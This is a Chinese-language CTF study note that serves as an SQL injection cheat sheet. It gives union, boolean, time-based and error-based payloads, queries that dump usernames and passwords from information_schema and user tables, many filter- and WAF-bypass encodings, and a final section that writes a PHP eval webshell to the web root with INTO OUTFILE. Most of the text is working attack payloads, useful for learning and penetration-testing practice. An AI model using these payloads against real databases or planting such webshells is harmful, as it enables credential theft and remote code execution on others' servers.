笔记目录
CTF-Web(2)SQL注入
CTF-Web(3)文件上传漏洞
1.注入介绍
(1)原理
①SQL注入如何注入Webshell
-
1.目标存在sql注入漏洞,且已经获取目标的绝对路径
-
2.并且通过探测发现目标能够进行数据的导入和导出操作,即secure_file_priv为空
-
3.当前数据库是 最高权限(即dba权限)
-
4.利用Into outfile() (写入文件的函数),向指定路径写入一句话木马
-
5.webshell连接工具连接一句话木马,成功获得权限
②SQL盲注与手工注入
-
区别:手工注入需要手动输入参数判断注入点,盲注则利用脚本、自动化工具爆破
(2)注入分类
①按数据类型分类:数值和字符
-
字符注入如id="$id",若id传入1 and 1=1,则id="1 and 1=1"执行报错;
-
数值注入如id=$id,若id传入1 and 1=1,则id=1 and 1=1 正常执行;
②按页面返回结果分类
-
基于错误显示的注入/报错注入:系统 必须能输出SQL错误信息,则可从报错中获取信息, 如updatexml()
-
union类型的注入/联合注入: select 列 where 某列=? union select 1,..N列
-
布尔类型的注入/布尔盲注:不需回显,如 substr、ascii、mid 暴力破解字符,substr(database(),1,1)='s'
-
基于时间的注入/延时盲注:不需回显, 判断注入时间来确定注入是否成功,如id=1 and if(database()=user, sleep(3),1)
-
多语句/stack注入: a' ; drop database _name;
③按照数据提交的方式进行分类
-
GET注入:注入点的位置在GET参数部分
-
POST注入:注入字段在POST数据中
-
Cookie注入:注入字段在Cookie数据中
-
Refer注入:注入处为搜索的地点
-
UA注入:注入点在HTTP请求头部的某个字段中
【本质上都可以用同一套注入流程】
(3)手工注入思路
2.SQL注入语法分类
(1)联合注入
①判断列数
-
order by n, 例如n=6有结果,n=7没结果,贼列数为6
②判断数据显错点
-
union select 1,2,3..N, 如select * from table where id= -1 union select 1,2,3..N(ID=-1不存在,所以显示1到N)
(2)布尔类型注入
①暴力破解字符
-
如select substr(database(),1,1)='s' and sleep(2)
②猜测返回文本
-
如页面显示"You are in..."字符串表示SQL执行正确
(3)报错类型注入
①floor()
and (select 1 from(select count(*),concat(version(),
floor(rand(0)*2))x frominformation_schema.tables group by x) a )
②extractvalue()
and
(extractvalue(1,concat(0x7e,(select
user()),0x7e)));
③
updatexml()
and
1=(updatexml(1,concat(0x7e,(select
user()),0x7e),1));
④multipoint()
and exp(~(select * from(select user())a))
⑤exp()
and exp(~(select * from(select user())a));
(4)延时盲注
主要思路是利用函数sleep和if
-
if()函数 格式: if( le ngth(database())>7, sleep(3) ,1 )
3.SQL注入案例
(1)注入点判断
①引号和括号注入
-
单引号注入
如
先
用id=1'判断,如果有误则用--+注释后面语句
-
双引号注入
②带括号的注入
当引号+注释 ,以及 and 1=1 无效,
传入id=1'
)--+
- $sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
payload:
-1")
union select 1,group_concat(username,0x7e,password),3 from users
--+
$id = '"'. $id.'"'; #这里做了 "id" 拼接
- $sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";
(2)数据库信息获取
①查看数据库基本信息
-
union select 1,version(),database(),user(),@@basedir, 返回版本信息、当前数据库,当前用户,数据库文件存储路径
②查看有那些表
-
已知数据库名:union select 1,2, group_concat(table_name) from information_schema.tables where table_schema='security'
-
未知数据库名
- -(1)查询当前使用的数据库 select database();
- - (2)查询当前数据库所有表select group_concat(table_name) from information_schema.`TABLES` where table_schema= database();
③查看表有哪些列
-
union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'
④
查看账号密码信息
-
union select 1,group_concat( username,0x7e,password) from users --用户名和密码以 ~分隔
(3)常见注入需求
①拿到当前登录数据库的用户名和当前数据库的名称
-
首先判断使用union攻击
-
判断字段个数union select 1,2...N
-
分析可能是服务端返回几条数据 (一般只返回一条数据 + union结果=2条)
#(可能列Html只展示部分列)
union select 1,2,user(),4, database(),6,7 limit 1,2#
②拿到所有用户名和密码
-
database()得到库名,通过库名找到找到所有表
#调整limit行号拿到用户表
11 union select 1,2,3,4,table_name,6,7 from information_schema.`TABLES` where table_schema=database() limit 3,4
-
分析哪个是用户表,查询该表下所有字段名
#调整limit行号拿到用户名+密码字段
11 union select 1,2,3,4,column_name,6,7 from information_schema.columns where table_name='user' limit 0,1
-
通过字段名查询账号和密码数据,登录系统即可
11 union select 1,login,secret,4,password,6,7 from users limit 1,2
4.SQL字符过滤绕过
①
当空格,=,引号都被屏蔽时,采用单引号'和括号代替空格
a'or(ord(substr(reverse(substr((database())from(1)))from(
8)))<>
115)# 从第一位开始解决字符串
(1)大小写绕过
-
适用范围:
-
原句:'UNION SELECT password FROM admin WHERE username='admin'—+
修改:'uNiOn SeLeCt password fRoM admin wHeRe username=’admin’--
(2)/**/空格绕过
-
使用范围: --+ 和 /*可用
-
举例:'/**/UNION/**/SELECT/**/password/**/FROM/**/users/**/where/**/username/**/LIKE/**/'admin'—
(3)逗号绕过
-
substr()
-
select substr(database() ,1 ,1) #等价于
-
select substr(database()from 1 for 1)
-
-
join
-
select * from users union select 1 ,2 ,3 #等价于
-
select * from users union select * from (select 1)a join (select 2)b join (select 3)c
-
-
limit
-
select * from users limit 0 ,1 #等价于
-
select * from users limit 1 offset 0
-
-
like
-
select ascii(mid(user() ,1 ,1))=114 #等价于
-
select user() like 'r%'
-
(4)>和<绕过
-
select ascii(substr(user(),1,1)) > 100 #等价于
-
select greatest(ascii(substr(user(),1,1)),100)=100
(5) =绕过
使用
like 、rlike 、regexp或者 使用< 或者 >
(6) 绕过union、select、where
①使用注释符绕过:U/**/ NION /**/ SE/**/ LECT /**/user,pwd from user #
②使用内联注释绕过:
-
id=-1'/*!UnIoN*/ SeLeCT 1,2,concat(/*!table_name*/) FrOM /*information_schema*/.tables /*!WHERE *//*!TaBlE_ScHeMa*/ like database()#
(7)双写和大小写绕过
③使用大小写绕过:id=-1'UnIoN/**/SeLeCT
④双写绕过: d=-1'
UNIunionON
SeLselectECT1,2,3–-
(8)URL编码绕过
(9)等价函数绕过
-
hex()、bin() ==> ascii()
-
sleep() ==>benchmark()
-
concat_ws()==>group_concat()
-
mid()、substr() ==> substring()
-
@@user ==> user()
-
@@datadir ==> datadir()
-
举例:substring()和substr()无法使用时:?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74 或者:
-
substr((select 'password'),1,1) = 0x70
-
strcmp(left('password',1), 0x69) = 1
-
strcmp(left('password',1), 0x70) =0
-
strcmp(left('password',1), 0x71) = -1
-
5.WebShell注入
(1)读文件:load_file()
select load_file('/var/www/html/flag.php')
(2)写文件:outfile()和 dumpfile()
select '<?php eval($_POST[shell]); ?>' into outfile '/var/www/shell.php'
【两者区别】
-
outfile函数可以导出多行,而dumpfile只能导出一行数据
-
outfile函数在将数据写到文件里时有特殊的格式转换,而dumpfile则保持原数据格式